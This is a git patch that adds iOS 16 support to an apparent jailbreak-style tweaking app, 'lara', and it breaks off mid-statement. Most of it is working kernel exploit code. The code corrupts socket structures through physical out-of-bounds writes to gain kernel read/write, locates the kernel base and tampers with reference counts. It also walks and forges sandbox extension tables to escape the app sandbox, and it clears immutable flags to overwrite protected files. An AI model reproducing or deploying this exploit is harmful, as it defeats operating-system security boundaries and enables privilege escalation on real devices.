From 9bd46c40954433332205bea08f5e05b77368577d Mon Sep 17 00:00:00 2001 From: Hades <5561948+hxhlb@users.noreply.github.com> Date: Sat, 23 May 2026 21:35:49 +0800 Subject: [PATCH 1/2] Add iOS 16 sandbox escape support --- lara.xcodeproj/project.pbxproj | 8 +- lara/classes/laramgr.swift | 63 +++- lara/funcs/fetchkcache.swift | 4 +- lara/funcs/isunsupported.swift | 2 +- lara/kexploit/darksword.m | 181 +++++++--- lara/kexploit/offsets.h | 1 + lara/kexploit/offsets.m | 32 +- lara/kexploit/pe/sbx.m | 313 ++++++++++++++++++ lara/kexploit/utils.m | 261 +++++++++++---- lara/views/fm/DirectoryView.swift | 11 +- lara/views/fm/FileSystemHelpers.swift | 17 + .../tweaks/mobilegestalt/GestaltView.swift | 35 +- scripts/build_ipa.sh | 2 +- 13 files changed, 783 insertions(+), 147 deletions(-) diff --git a/lara.xcodeproj/project.pbxproj b/lara.xcodeproj/project.pbxproj index 94d622f9..77784c74 100644 --- a/lara.xcodeproj/project.pbxproj +++ b/lara.xcodeproj/project.pbxproj @@ -374,7 +374,7 @@ isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; - ARCHS = arm64e; + ARCHS = arm64; ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; @@ -439,7 +439,7 @@ isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; - ARCHS = arm64e; + ARCHS = arm64; ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; @@ -496,7 +496,7 @@ CC1C8B452F71DF9C00206982 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { - ARCHS = arm64e; + ARCHS = arm64; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_INCLUDE_ALL_APPICON_ASSETS = YES; CODE_SIGN_STYLE = Automatic; @@ -548,7 +548,7 @@ CC1C8B462F71DF9C00206982 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { - ARCHS = arm64e; + ARCHS = arm64; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_INCLUDE_ALL_APPICON_ASSETS = YES; CODE_SIGN_STYLE = Automatic; diff --git a/lara/classes/laramgr.swift b/lara/classes/laramgr.swift index 1552a957..c1c3e9ad 100644 --- a/lara/classes/laramgr.swift +++ b/lara/classes/laramgr.swift @@ -12,6 +12,44 @@ import notify import UIKit import WebKit +private func loadMutablePropertyListDictionary(from url: URL) throws -> NSMutableDictionary { + let data = try Data(contentsOf: url) + var format = PropertyListSerialization.PropertyListFormat.binary + let plist = try PropertyListSerialization.propertyList( + from: data, + options: [.mutableContainersAndLeaves], + format: &format + ) + guard let dict = plist as? NSMutableDictionary else { + throw "Property list root is not a dictionary." + } + return dict +} + +private func clearImmutableForOverwriteIfNeeded(path: String) -> String? { + let majorVersion = ProcessInfo.processInfo.operatingSystemVersion.majorVersion + guard majorVersion == 16 else { return nil } + + let fm = FileManager.default + guard let attributes = try? fm.attributesOfItem(atPath: path) else { return nil } + + var updates: [FileAttributeKey: Any] = [:] + if (attributes[.immutable] as? NSNumber)?.boolValue == true { + updates[.immutable] = false + } + if (attributes[.appendOnly] as? NSNumber)?.boolValue == true { + updates[.appendOnly] = false + } + guard !updates.isEmpty else { return nil } + + do { + try fm.setAttributes(updates, ofItemAtPath: path) + return nil + } catch { + return "clear immutable failed: \(error.localizedDescription)" + } +} + final class laramgr: ObservableObject { @Published var log: String = "" @Published var hasOffsets: Bool = false @@ -326,9 +364,11 @@ final class laramgr: ObservableObject { } private func sbxoverwrite(path: String, data: Data) -> (ok: Bool, message: String) { + let immutableMessage = clearImmutableForOverwriteIfNeeded(path: path) let fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0o644) if fd == -1 { - return (false, "sbx open failed: errno=\(errno) \(String(cString: strerror(errno)))") + let prefix = immutableMessage.map { "\($0), " } ?? "" + return (false, "\(prefix)sbx open failed: errno=\(errno) \(String(cString: strerror(errno)))") } defer { close(fd) } @@ -346,6 +386,10 @@ final class laramgr: ObservableObject { if !wroteAll { return (false, "sbx write failed: errno=\(errno) \(String(cString: strerror(errno)))") } + + if ftruncate(fd, off_t(total)) != 0 { + return (false, "sbx truncate failed: errno=\(errno) \(String(cString: strerror(errno)))") + } return (true, "ok (\(total) bytes)") } @@ -577,11 +621,7 @@ final class laramgr: ObservableObject { if !fm.fileExists(atPath: path) { if !force { return (false, "file at \(path) does not exist or couldn't be found") } } else { - if let dictfromplist = NSMutableDictionary(contentsOf: URL(fileURLWithPath: path)) { - dict = dictfromplist - } else { - return (false, "could not convert plist at \(path) to readable data") - } + dict = try loadMutablePropertyListDictionary(from: URL(fileURLWithPath: path)) } if let value = key.value { dict[key.key] = value @@ -611,14 +651,11 @@ final class laramgr: ObservableObject { do { let fm = FileManager.default if fm.fileExists(atPath: path) { - if let dict = NSDictionary(contentsOf: URL(fileURLWithPath: path)) { - if let value = dict[key] { - return (true, "success", value) - } else { - return (false, "key \(key) not found", nil) - } + let dict = try loadMutablePropertyListDictionary(from: URL(fileURLWithPath: path)) + if let value = dict[key] { + return (true, "success", value) } else { - return(false, "could not convert plist at \(path) to readable data", nil) + return (false, "key \(key) not found", nil) } } else { return (false, "file at \(path) does not exist or couldn't be found", nil) diff --git a/lara/funcs/fetchkcache.swift b/lara/funcs/fetchkcache.swift index 36e50dd8..f01b732a 100644 --- a/lara/funcs/fetchkcache.swift +++ b/lara/funcs/fetchkcache.swift @@ -19,6 +19,8 @@ func larakcpath() -> String? { func fetchkcache() -> Bool { guard ds_is_ready(), + ds_get_our_proc() != 0, + ds_get_our_task() != 0, off_proc_p_fd != 0, off_filedesc_fd_ofiles != 0, off_fileproc_fp_glob != 0, @@ -26,7 +28,7 @@ func fetchkcache() -> Bool { off_vnode_v_data != 0, off_namecache_nc_vp != 0, off_namecache_nc_child_tqe_next != 0 else { - globallogger.log("(fetchkcache) exploit or offsets not ready") + globallogger.log("(fetchkcache) exploit, self proc/task, or offsets not ready") return false } diff --git a/lara/funcs/isunsupported.swift b/lara/funcs/isunsupported.swift index 8ebf2047..b26e3d54 100644 --- a/lara/funcs/isunsupported.swift +++ b/lara/funcs/isunsupported.swift @@ -32,7 +32,7 @@ func hasmie() -> Bool { func isunsupported() -> Bool { let v = ProcessInfo.processInfo.operatingSystemVersion - if v.majorVersion < 17 { + if v.majorVersion < 16 { return true } diff --git a/lara/kexploit/darksword.m b/lara/kexploit/darksword.m index e6ebbedf..ec901246 100644 --- a/lara/kexploit/darksword.m +++ b/lara/kexploit/darksword.m @@ -31,6 +31,7 @@ #include #include #include +#import #include extern kern_return_t mach_vm_map(vm_map_t, mach_vm_address_t *, mach_vm_size_t, @@ -78,12 +79,41 @@ static void ds_progress(double progress) { } static void pe_log(const char *fmt, ...) __attribute__((format(printf, 1, 2))); +static int pe_log_file_fd(void) { + static int fd = -2; + if (fd != -2) return fd; + + fd = -1; + @autoreleasepool { + NSArray *dirs = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); + NSString *docs = dirs.firstObject; + if (docs.length == 0) return fd; + + NSString *path = [docs stringByAppendingPathComponent:@"lara.log"]; + fd = open(path.fileSystemRepresentation, O_WRONLY | O_CREAT | O_APPEND, 0644); + } + return fd; +} + +static void pe_log_file_write(const char *message) { + int fd = pe_log_file_fd(); + if (fd < 0) return; + + char line[1200]; + int len = snprintf(line, sizeof(line), "(ds) %s\n", message); + if (len <= 0) return; + if (len >= (int)sizeof(line)) len = (int)sizeof(line) - 1; + write(fd, line, (size_t)len); + fsync(fd); +} + static void pe_log(const char *fmt, ...) { char buf[1024]; va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); + pe_log_file_write(buf); if (g_log_callback) g_log_callback(buf); else printf("(pe) %s\n", buf); } @@ -91,6 +121,20 @@ static void pe_log(const char *fmt, ...) { #define uwrite64(a, v) (*(volatile uint64_t *)(uintptr_t)(a) = (uint64_t)(v)) #define uread64(a) (*(volatile uint64_t *)(uintptr_t)(a)) +static void *reverse_memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) { + if (needle_len == 0) return (void *)haystack; + if (haystack_len < needle_len) return NULL; + + const char *h = (const char *)haystack; + const char *n = (const char *)needle; + for (size_t i = haystack_len - needle_len + 1; i-- > 0;) { + if (memcmp(h + i, n, needle_len) == 0) { + return (void *)(h + i); + } + } + return NULL; +} + static void cmp8_wait_for_change(volatile uint64_t *ptr, uint64_t old_val) { while (*ptr == old_val) ; } @@ -649,10 +693,11 @@ static int64_t find_and_corrupt_socket(mach_port_t memory_object, uint64_t seeki bool target_found = false; uint64_t pcb_start_offset = 0; - uint64_t icmp6filt_offset = 0x148; + uint64_t icmp6filt_offset = off_inpcb_inp_depend6_inp6_icmp6filt; + uint64_t corrupted_filter_marker = 0x0000ffffffffffffULL; const char *matched_marker = NULL; - for (uint64_t search_start_idx = 0; search_start_idx < oob_size; search_start_idx += 0x400) { + for (uint64_t search_start_idx = 0; search_start_idx < oob_size;) { // ---- progress 0.51 → 0.59 stable scan phase ---- static uint64_t last_progress_step = 0; @@ -694,12 +739,22 @@ static int64_t find_and_corrupt_socket(mach_port_t memory_object, uint64_t seeki break; } - pcb_start_offset = ((uint64_t)((uint8_t *)best_found - (uint8_t *)read_buffer)) & 0xFFFFFFFFFFFFFC00ULL; - if (*(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + icmp6filt_offset + 8) == 0x0000ffffffffffffULL) { - matched_marker = best_marker; - target_found = true; - break; + uint64_t found_offset = (uint8_t *)best_found - (uint8_t *)read_buffer; + void *filter_found = reverse_memmem(read_buffer, found_offset, &corrupted_filter_marker, sizeof(corrupted_filter_marker)); + if (filter_found != NULL) { + uint64_t filter_offset = (uint8_t *)filter_found - (uint8_t *)read_buffer; + if (filter_offset >= icmp6filt_offset + 0x8) { + uint64_t candidate_pcb_start_offset = filter_offset - (icmp6filt_offset + 0x8); + if (candidate_pcb_start_offset + icmp6filt_offset + 0x10 <= oob_size) { + pcb_start_offset = candidate_pcb_start_offset; + matched_marker = best_marker; + target_found = true; + break; + } + } } + + search_start_idx = found_offset + 1; } if (target_found) { @@ -734,7 +789,7 @@ static int64_t find_and_corrupt_socket(mach_port_t memory_object, uint64_t seeki } target_inp_gencnt_list[target_inp_gencnt_count++] = target_inp_gencnt; - uint64_t inp_list_next_pointer = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + 0x28) - 0x20; + uint64_t inp_list_next_pointer = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + off_inpcb_inp_list_le_next + 0x8) - off_inpcb_inp_list_le_next; uint64_t icmp6filter = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + icmp6filt_offset); pe_log("inp_list_next_pointer: 0x%llx", inp_list_next_pointer); pe_log("icmp6filter: 0x%llx", icmp6filter); @@ -746,14 +801,30 @@ static int64_t find_and_corrupt_socket(mach_port_t memory_object, uint64_t seeki *(uint64_t *)((uint8_t *)write_buffer + pcb_start_offset + icmp6filt_offset + 8) = 0; pe_log("corrupting icmp6filter pointer..."); + uint64_t corrupt_attempt = 0; while (true) { + if (corrupt_attempt < 8 || (corrupt_attempt % 16) == 0) { + pe_log("corrupt attempt %llu: write target=0x%llx value=0x%llx", + corrupt_attempt, + (uint64_t)(seeking_offset + oob_offset + pcb_start_offset + icmp6filt_offset), + inp_list_next_pointer + icmp6filt_offset); + } physical_oob_write_mo(memory_object, seeking_offset, oob_size, oob_offset, write_buffer); + if (corrupt_attempt < 8 || (corrupt_attempt % 16) == 0) { + pe_log("corrupt attempt %llu: write returned", corrupt_attempt); + } physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); uint64_t new_icmp6filter = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + icmp6filt_offset); + if (corrupt_attempt < 8 || (corrupt_attempt % 16) == 0) { + pe_log("corrupt attempt %llu: read new_icmp6filter=0x%llx", + corrupt_attempt, + new_icmp6filter); + } if (new_icmp6filter == inp_list_next_pointer + icmp6filt_offset) { pe_log("target corrupted: 0x%llx", new_icmp6filter); break; } + corrupt_attempt++; } int sock = fileport_makefd(socket_ports[control_socket_idx]); @@ -774,43 +845,34 @@ static int64_t find_and_corrupt_socket(mach_port_t memory_object, uint64_t seeki return -1; } -static int get_ios_major_version(void) { - char buf[256] = {0}; - size_t len = sizeof(buf); - sysctlbyname("kern.osversion", buf, &len, NULL, 0); - int build = atoi(buf); - if (build >= 23) return 26; - if (build >= 22) return 18; - if (build >= 21) return 17; - return 18; -} - static void krw_sockets_leak_forever(void) { - uint64_t offset_pcb_socket = 0x40; - int ios_ver = get_ios_major_version(); - uint64_t offset_socket_so_count; - switch (ios_ver) { - case 17: offset_socket_so_count = 0x24c; break; - case 26: offset_socket_so_count = 0x23c; break; - default: offset_socket_so_count = 0x254; break; - } - pe_log("iOS %d: using so_count offset 0x%llx", ios_ver, offset_socket_so_count); + pe_log("krw leak: control_socket_pcb=0x%llx rw_socket_pcb=0x%llx", control_socket_pcb, rw_socket_pcb); - uint64_t control_socket_addr = early_kread64(control_socket_pcb + offset_pcb_socket); - uint64_t rw_socket_addr = early_kread64(rw_socket_pcb + offset_pcb_socket); + uint64_t control_socket_addr = early_kread64(control_socket_pcb + off_inpcb_inp_socket); + uint64_t rw_socket_addr = early_kread64(rw_socket_pcb + off_inpcb_inp_socket); + pe_log("krw leak: control_socket_addr=0x%llx rw_socket_addr=0x%llx", control_socket_addr, rw_socket_addr); if (!control_socket_addr || !rw_socket_addr) { pe_log("couldn't find control_socket_addr || rw_socket_addr"); return; } - uint64_t control_socket_so_count = early_kread64(control_socket_addr + offset_socket_so_count); - uint64_t rw_socket_so_count = early_kread64(rw_socket_addr + offset_socket_so_count); - early_kwrite64(control_socket_addr + offset_socket_so_count, + uint64_t control_socket_so_count = early_kread64(control_socket_addr + off_socket_so_usecount); + uint64_t rw_socket_so_count = early_kread64(rw_socket_addr + off_socket_so_usecount); + pe_log("krw leak: control_socket_so_count=0x%llx rw_socket_so_count=0x%llx", control_socket_so_count, rw_socket_so_count); + early_kwrite64(control_socket_addr + off_socket_so_usecount, control_socket_so_count + 0x0000100100001001ULL); - early_kwrite64(rw_socket_addr + offset_socket_so_count, + early_kwrite64(rw_socket_addr + off_socket_so_usecount, rw_socket_so_count + 0x0000100100001001ULL); - uint64_t icmp6filt_offset = 0x148; - early_kwrite64(rw_socket_pcb + icmp6filt_offset + 8, 0); + early_kwrite64(rw_socket_pcb + off_inpcb_inp_depend6_inp6_icmp6filt + 8, 0); +} + +static int get_darwin_major_version(void) { + char osrelease[64] = {0}; + size_t len = sizeof(osrelease); + if (sysctlbyname("kern.osrelease", osrelease, &len, NULL, 0) != 0) { + return 0; + } + return atoi(osrelease); } static void pe_init(void) { @@ -1184,17 +1246,31 @@ static int pe(void) { ds_progresssafe(0.80); pe_log("walking kernel structures..."); - control_socket_pcb = early_kread64(rw_socket_pcb + 0x20); - uint64_t pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38); - uint64_t ipi_zone = early_kread64(pcbinfo_pointer + 0x68); - uint64_t zv_name = early_kread64(ipi_zone + 0x10); - + control_socket_pcb = early_kread64(rw_socket_pcb + off_inpcb_inp_list_le_next); pe_log("control_socket_pcb: 0x%llx", control_socket_pcb); - pe_log("pcbinfo_pointer: 0x%llx", pcbinfo_pointer); - pe_log("ipi_zone: 0x%llx", ipi_zone); - pe_log("zv_name: 0x%llx", zv_name); - kernel_base = zv_name & 0xFFFFFFFFFFFFC000ULL; + uint64_t text_ptr = 0; + if (get_darwin_major_version() >= 23) { + uint64_t pcbinfo_pointer = early_kread64(control_socket_pcb + off_inpcb_inp_pcbinfo); + uint64_t ipi_zone = early_kread64(pcbinfo_pointer + off_inpcbinfo_ipi_zone); + text_ptr = early_kread64(ipi_zone + off_kalloc_type_view_kt_zv_zv_name); + + pe_log("pcbinfo_pointer: 0x%llx", pcbinfo_pointer); + pe_log("ipi_zone: 0x%llx", ipi_zone); + pe_log("zv_name: 0x%llx", text_ptr); + } else { + uint64_t socket_ptr = early_kread64(control_socket_pcb + off_inpcb_inp_socket); + uint64_t proto_ptr = early_kread64(socket_ptr + off_socket_so_proto); + uint64_t raw_text_ptr = early_kread64(proto_ptr + off_protosw_pr_input); + text_ptr = xpaci(raw_text_ptr); + + pe_log("socket_ptr: 0x%llx", socket_ptr); + pe_log("proto_ptr: 0x%llx", proto_ptr); + pe_log("raw_text_ptr: 0x%llx", raw_text_ptr); + pe_log("text_ptr: 0x%llx", text_ptr); + } + + kernel_base = text_ptr & 0xFFFFFFFFFFFFC000ULL; pe_log("searching for kernel mach-o header from 0x%llx...", kernel_base); int search_iters = 0; uint64_t fallback_execute_base = 0; @@ -1270,7 +1346,15 @@ static int pe(void) { ds_progresssafe(0.99); our_proc = proc_self(); + if (!our_proc) { + pe_log("our_proc lookup failed"); + return 0; + } our_task = task_self(); + if (!our_task) { + pe_log("our_task lookup failed"); + return 0; + } pe_log("our_proc: 0x%llx", our_proc); pe_log("our_task: 0x%llx", our_task); @@ -1293,6 +1377,11 @@ int ds_run(void) { *(uint64_t *)(default_file_content + i) = random_marker; pe_log("starting darksword"); + pe_log("offsets: inpcb.icmp6filt=0x%x socket.usecount=0x%x socket.proto=0x%x protosw.input=0x%x", + off_inpcb_inp_depend6_inp6_icmp6filt, + off_socket_so_usecount, + off_socket_so_proto, + off_protosw_pr_input); int result = pe(); if (result != 0) { ds_progresssafe(0.99); @@ -1498,7 +1587,7 @@ uint64_t ds_kallocarrdec(uint64_t ptr) { } uint64_t ds_get_pcbinfo(void) { - return early_kread64(control_socket_pcb + 0x38); + return early_kread64(control_socket_pcb + off_inpcb_inp_pcbinfo); } uint64_t ds_get_rw_socket_pcb(void) { diff --git a/lara/kexploit/offsets.h b/lara/kexploit/offsets.h index db34cd2e..c49f1462 100644 --- a/lara/kexploit/offsets.h +++ b/lara/kexploit/offsets.h @@ -27,6 +27,7 @@ extern uint32_t off_inpcb_inp_depend6_inp6_chksum; extern uint32_t off_socket_so_usecount; extern uint32_t off_socket_so_proto; extern uint32_t off_socket_so_background_thread; +extern uint32_t off_protosw_pr_input; extern uint32_t off_kalloc_type_view_kt_zv_zv_name; extern uint32_t off_thread_t_tro; extern uint32_t off_thread_ro_tro_proc; diff --git a/lara/kexploit/offsets.m b/lara/kexploit/offsets.m index e5390bfc..2a36476b 100644 --- a/lara/kexploit/offsets.m +++ b/lara/kexploit/offsets.m @@ -22,6 +22,7 @@ #define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) static NSString *const kkernprockey = @"lara.kernprocoff"; +static NSString *const kallprockey = @"lara.allprocoff"; static NSString *const krootvnodekey = @"lara.rootvnodeoff"; static NSString *const kkerncachekey = @"lara.kernelcache_path"; static NSString *const kkernprocsize = @"lara.kernproc_size"; @@ -36,6 +37,7 @@ uint32_t off_socket_so_usecount = 0; uint32_t off_socket_so_proto = 0; uint32_t off_socket_so_background_thread = 0; +uint32_t off_protosw_pr_input = 0; uint32_t off_kalloc_type_view_kt_zv_zv_name = 0; uint32_t off_thread_t_tro = 0; uint32_t off_thread_ro_tro_proc = 0; @@ -136,6 +138,7 @@ OFFSET32(off_socket_so_usecount), OFFSET32(off_socket_so_proto), OFFSET32(off_socket_so_background_thread), + OFFSET32(off_protosw_pr_input), OFFSET32(off_kalloc_type_view_kt_zv_zv_name), OFFSET32(off_thread_t_tro), OFFSET32(off_thread_ro_tro_proc), @@ -430,7 +433,7 @@ bool resolvekernoffsets(NSString *kcpath) { return false; } - uint64_t allprocoff = allproc - gXPF.kernelBase; + uint64_t allprocoff = allproc ? allproc - gXPF.kernelBase : 0; uint64_t kernprocoff = kernproc - gXPF.kernelBase; uint64_t rootvnodeoff = rootvnode - gXPF.kernelBase; @@ -443,6 +446,9 @@ bool resolvekernoffsets(NSString *kcpath) { NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; [defaults setObject:@(kernprocoff) forKey:kkernprockey]; + if (allprocoff) { + [defaults setObject:@(allprocoff) forKey:kallprockey]; + } [defaults setObject:@(rootvnodeoff) forKey:krootvnodekey]; [defaults setObject:@(procsize) forKey:kkernprocsize]; [defaults setObject:kcpath forKey:kkerncachekey]; @@ -543,8 +549,8 @@ static bool is_known_a_series_ipad_identifier(void) { } void offsets_init(void) { - if (!(SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0") && SYSTEM_VERSION_LESS_THAN(@"26.1"))) { - printf("(offs) only supported offset for iOS 17.0 - 26.0.x\n"); + if (!(SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"26.1"))) { + printf("(offs) only supported offset for iOS 16.0 - 26.0.x\n"); exit(EXIT_FAILURE); } @@ -596,7 +602,8 @@ void offsets_init(void) { gIsPACSupported = is_pac_supported(); - if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0")) { + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0")) { + bool isIOS16 = SYSTEM_VERSION_LESS_THAN(@"17.0"); off_inpcb_inp_list_le_next = 0x20; off_inpcb_inp_pcbinfo = 0x38; off_inpcb_inp_socket = 0x40; @@ -606,9 +613,10 @@ void offsets_init(void) { off_socket_so_usecount = 0x22c; off_socket_so_proto = 0x18; off_socket_so_background_thread = 0x288; + off_protosw_pr_input = 0x28; off_kalloc_type_view_kt_zv_zv_name = 0x10; - off_thread_ro_tro_proc = 0x10; - off_thread_ro_tro_task = 0x20; + off_thread_ro_tro_proc = isIOS16 ? 0x18 : 0x10; + off_thread_ro_tro_task = isIOS16 ? 0x28 : 0x20; off_thread_machine_upcb = 0xb0; off_thread_machine_contextdata = 0xb0-8; off_thread_t_tro = 0x358; @@ -625,9 +633,14 @@ void offsets_init(void) { off_proc_p_list_le_prev = 0x8; off_proc_p_proc_ro = 0x18; off_proc_p_pid = 0x60; - off_proc_p_fd = 0xd0; - off_proc_p_flag = 0x454; - off_proc_p_textvp = 0x548; + off_proc_p_fd = isIOS16 ? 0xd8 : 0xd0; + if (!isIOS16 || SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.4")) { + off_proc_p_flag = 0x454; + off_proc_p_textvp = 0x548; + } else { + off_proc_p_flag = 0x25c; + off_proc_p_textvp = 0x350; + } off_proc_p_name = 0x579; off_proc_ro_pr_task = 0x8; off_proc_ro_p_ucred = 0x20; @@ -1422,6 +1435,7 @@ void clearkerncachedata(void) { [defaults removeObjectForKey:kkerncachekey]; [defaults removeObjectForKey:kkernprockey]; + [defaults removeObjectForKey:kallprockey]; [defaults removeObjectForKey:krootvnodekey]; [defaults removeObjectForKey:kkernprocsize]; [defaults synchronize]; diff --git a/lara/kexploit/pe/sbx.m b/lara/kexploit/pe/sbx.m index 12006fcc..ac2574c5 100644 --- a/lara/kexploit/pe/sbx.m +++ b/lara/kexploit/pe/sbx.m @@ -14,6 +14,8 @@ #include #include #include +#include +#include #include #include @@ -23,6 +25,8 @@ #define MAC_SYS_SANDBOX_EXTENSION_ISSUE 461 +extern int64_t sandbox_extension_consume(const char *extension_token); + typedef void (*sbx_log_callback_t)(const char *message); static sbx_log_callback_t g_sbx_log = NULL; @@ -205,7 +209,14 @@ uint64_t sbx_ucredbyproc(uint64_t proc) { return ucred; } +static bool ios16_system(void); +static int ios16_sbx_escape(uint64_t self_proc); + int sbx_escape(uint64_t self_proc) { + if (ios16_system()) { + return ios16_sbx_escape(self_proc); + } + if (!self_proc) { sbx_log("ds_get_our_proc() returned 0x0 — trying ourproc() fallback..."); self_proc = ourproc(); @@ -513,3 +524,305 @@ void sbx_freestr(char *s) { return copy; } + +#pragma mark - iOS 16 + +#define IOS16_OFF_SANDBOX_EXT_TABLE 0x08 +#define IOS16_OFF_EXT_META 0x50 +#define IOS16_BUCKET_COUNT 18 +#define IOS16_TARGET_PATH "/" +#define K_ios16(x) ds_isvalid((uint64_t)(x)) + +static bool ios16_system(void) { + NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion]; + return version.majorVersion == 16; +} + +static bool ios16_write64_in_block(uint64_t addr, uint64_t value) { + uint64_t base = addr & ~(uint64_t)(KRW_LEN - 1); + uint64_t off = addr - base; + if (off + sizeof(uint64_t) > KRW_LEN) { + return false; + } + + uint8_t buf[KRW_LEN]; + ds_kread(base, buf, KRW_LEN); + *(uint64_t *)(buf + off) = value; + ds_kwritezoneelement(base, buf, KRW_LEN); + return true; +} + +static bool ios16_class_name_is(uint64_t class_ptr, const char *expected) { + if (!K_ios16(class_ptr) || !expected) return false; + + size_t len = strlen(expected); + if (len > 32) len = 32; + + char got[33] = {0}; + for (size_t off = 0; off < len; off += 8) { + uint64_t q = ds_kread64(class_ptr + off); + size_t n = len - off; + if (n > 8) n = 8; + memcpy(got + off, &q, n); + } + return memcmp(got, expected, len) == 0; +} + +static bool ios16_class_name_known(uint64_t class_ptr) { + return ios16_class_name_is(class_ptr, "com.apple.sandbox.container") || + ios16_class_name_is(class_ptr, "com.apple.sandbox.executable") || + ios16_class_name_is(class_ptr, "com.apple.app-sandbox.read") || + ios16_class_name_is(class_ptr, "com.apple.app-sandbox.read-write") || + ios16_class_name_is(class_ptr, "com.apple.app-sandbox.write"); +} + +static bool ios16_ext_table_looks_valid(uint64_t table) { + if (!K_ios16(table)) return false; + + for (int bucket = 0; bucket < IOS16_BUCKET_COUNT; bucket++) { + uint64_t node = S(ds_kread64(table + (uint64_t)bucket * 8)); + for (int depth = 0; depth < 8 && K_ios16(node); depth++) { + uint64_t next_node = S(ds_kread64(node + 0x00)); + uint64_t ext = S(ds_kread64(node + 0x08)); + uint64_t class_ptr = S(ds_kread64(node + 0x10)); + if (ios16_class_name_known(class_ptr) && K_ios16(ext)) { + uint64_t path = S(ds_kread64(ext + OFF_EXT_DATA)); + uint64_t len = ds_kread64(ext + OFF_EXT_DATALEN); + if (K_ios16(path) && len > 0 && len < PATH_MAX) { + return true; + } + } + if (!next_node || next_node == node) break; + node = next_node; + } + } + + return false; +} + +static uint64_t ios16_extension_table(uint64_t sandbox) { + uint64_t table = S(ds_kread64(sandbox + IOS16_OFF_SANDBOX_EXT_TABLE)); + if (ios16_ext_table_looks_valid(table)) { + return table; + } + + table = S(ds_kread64(sandbox + OFF_SANDBOX_EXT_SET)); + if (ios16_ext_table_looks_valid(table)) { + return table; + } + + return 0; +} + +static char *ios16_issue_token(const char *extension_class, const char *path) { + if (!extension_class || !path) return NULL; + + void *h = dlopen("libsandbox.dylib", RTLD_NOW); + if (!h) h = dlopen("/usr/lib/libsandbox.dylib", RTLD_NOW); + if (!h) return NULL; + + typedef char *(*issue_to_self_t)(const char *, const char *, int); + typedef char *(*issue_file_t)(const char *, const char *, int); + typedef void (*free_token_t)(char *); + + issue_to_self_t issue_to_self = (issue_to_self_t)dlsym(h, "sandbox_extension_issue_file_to_self"); + issue_file_t issue_file = (issue_file_t)dlsym(h, "sandbox_extension_issue_file"); + + char *token = NULL; + if (issue_to_self) { + token = issue_to_self(extension_class, path, 0); + } + if (!token && issue_file) { + token = issue_file(extension_class, path, 0); + } + if (!token) return NULL; + + char *copy = strdup(token); + free_token_t free_token = (free_token_t)dlsym(h, "sandbox_extension_free"); + if (free_token) { + free_token(token); + } else { + free(token); + } + return copy; +} + +static int64_t ios16_seed_path(NSString *path) { + if (path.length == 0) return -1; + + const char *classes[] = { + "com.apple.app-sandbox.read-write", + "com.apple.app-sandbox.read", + "com.apple.app-sandbox.write", + }; + + const char *cpath = path.fileSystemRepresentation; + for (size_t i = 0; i < sizeof(classes) / sizeof(classes[0]); i++) { + char *token = ios16_issue_token(classes[i], cpath); + if (!token) continue; + + int64_t handle = sandbox_extension_consume(token); + free(token); + return handle; + } + + return -1; +} + +static int64_t ios16_seed_probe(void) { + @autoreleasepool { + NSArray *dirs = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); + NSString *docs = dirs.firstObject ?: NSHomeDirectory(); + NSString *probe = [docs stringByAppendingPathComponent:@"lara-sbx-probe"]; + if (probe.length == 0) return -1; + + [[NSFileManager defaultManager] createDirectoryAtPath:probe + withIntermediateDirectories:YES + attributes:nil + error:nil]; + return ios16_seed_path(probe); + } +} + +static bool ios16_find_extension(uint64_t sandbox, const char *class_name, int64_t handle, bool any_handle, uint64_t *out_ext) { + if (out_ext) *out_ext = 0; + uint64_t table = ios16_extension_table(sandbox); + if (!K_ios16(table)) return false; + + for (int bucket = 0; bucket < IOS16_BUCKET_COUNT; bucket++) { + uint64_t node = S(ds_kread64(table + (uint64_t)bucket * 8)); + for (int node_depth = 0; node_depth < 8 && K_ios16(node); node_depth++) { + uint64_t next_node = S(ds_kread64(node + 0x00)); + uint64_t ext = S(ds_kread64(node + 0x08)); + uint64_t class_ptr = S(ds_kread64(node + 0x10)); + if (ios16_class_name_is(class_ptr, class_name)) { + for (int ext_depth = 0; ext_depth < 8 && K_ios16(ext); ext_depth++) { + uint64_t next_ext = S(ds_kread64(ext + 0x00)); + uint64_t ext_handle = ds_kread64(ext + 0x08); + if (any_handle || (int64_t)ext_handle == handle) { + if 